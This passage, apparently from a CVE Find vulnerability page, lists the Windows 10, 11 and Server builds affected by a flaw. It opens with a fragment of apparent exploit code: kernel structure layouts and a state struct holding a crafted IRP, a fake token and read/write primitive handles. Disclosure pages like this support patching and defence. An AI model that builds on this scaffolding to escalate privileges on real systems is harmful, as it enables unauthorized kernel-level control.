_SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470 struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478 struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480 VOID* SessionObject; //0x488 ULONGLONG VariablePart; //0x490 }; //0x38 bytes (sizeof) struct _OBJECT_HEADER { LONGLONG PointerCount; //0x0 union { LONGLONG HandleCount; //0x8 VOID* NextToFree; //0x8 }; struct _EX_PUSH_LOCK Lock; //0x10 UCHAR TypeIndex; //0x18 union { UCHAR TraceFlags; //0x19 struct { UCHAR DbgRefTrace : 1; //0x19 UCHAR DbgTracePermanent : 1; //0x19 }; }; UCHAR InfoMask; //0x1a union { UCHAR Flags; //0x1b struct { UCHAR NewObject : 1; //0x1b UCHAR KernelObject : 1; //0x1b UCHAR KernelOnlyAccess : 1; //0x1b UCHAR ExclusiveObject : 1; //0x1b UCHAR PermanentObject : 1; //0x1b UCHAR DefaultSecurityQuota : 1; //0x1b UCHAR SingleHandleEntry : 1; //0x1b UCHAR DeletedInline : 1; //0x1b }; }; ULONG Reserved; //0x1c union { struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo; //0x20 VOID* QuotaBlockCharged; //0x20 }; VOID* SecurityDescriptor; //0x28 struct _TOKEN Body; //0x30 }; struct mm { void* fake_data_entry; void* input; _IRP* crafted_irp; IO_STACK_LOCATION *crafted_arbitrary_io_stack_location; void* p_mem_0x30; void* p_mem_0xD0_2; _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; ACL* VariablePartDefaultDacl; ACL* VariablePartDefaultDacl2; _ERESOURCE* TokenLock; void* PrimaryGroup; int sizeOfClientTokenAndObjectHeader; PSEP_SID_VALUES_BLOCK TokenSidValues; _SECURITY_CLIENT_CONTEXT* security_client_context; _SEP_LOGON_SESSION_REFERENCES* LogonSession; _TOKEN* fakeToken; void *pipe_100_im_control_block; void* pipe_100_rw_control_block; void* p_mem_Pipe_hToPipe_1000_rw; void* p_mem_Pipe_hToPipe_1000_rw_2; HANDLE hPipeIM; HANDLE hPipeRW; HANDLE hFileIM; HANDLE hFileRW; HANDLE IncPrimitiveTOKEN; HANDLE RWPrimitiveTOKEN; }; //0x18 bytes (sizeof) struct _DISPATCHER_HEADER { union { volatile LONG Lock; //0x0 LONG LockNV; //0x0 struct { UCHAR Type; //0x0 UCHAR Signalling; //0x1 UCHAR Size; //0x2 UCHAR Reserved1; //0x3 }; struct { UCHAR TimerType; //0x0 union { UCHAR TimerControlFlags; //0x1 struct { UCHAR Absolute : 1;

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1507 >> Version To (excluding) 10.0.10240.20751

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.7259

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.6189

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.4780

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.4780

Microsoft>>Windows_11_21h2 >> Version To (excluding) 10.0.22000.3147

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.4037

Microsoft>>Windows_11_23h2 >> Version To (excluding) 10.0.22631.4037

Microsoft>>Windows_11_24h2 >> Version To (excluding) 10.0.26100.1457

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version To (excluding) 6.2.9200.25031

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version To (excluding) 10.0.14393.7259

Microsoft>>Windows_server_2019 >> Version To (excluding) 10.0.17763.6189

Microsoft>>Windows_server_2022 >> Version To (excluding) 10.0.20348.2655

Microsoft>>Windows_server_2022_23h2 >> Version To (excluding) 10.0.25398.1085

References

The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.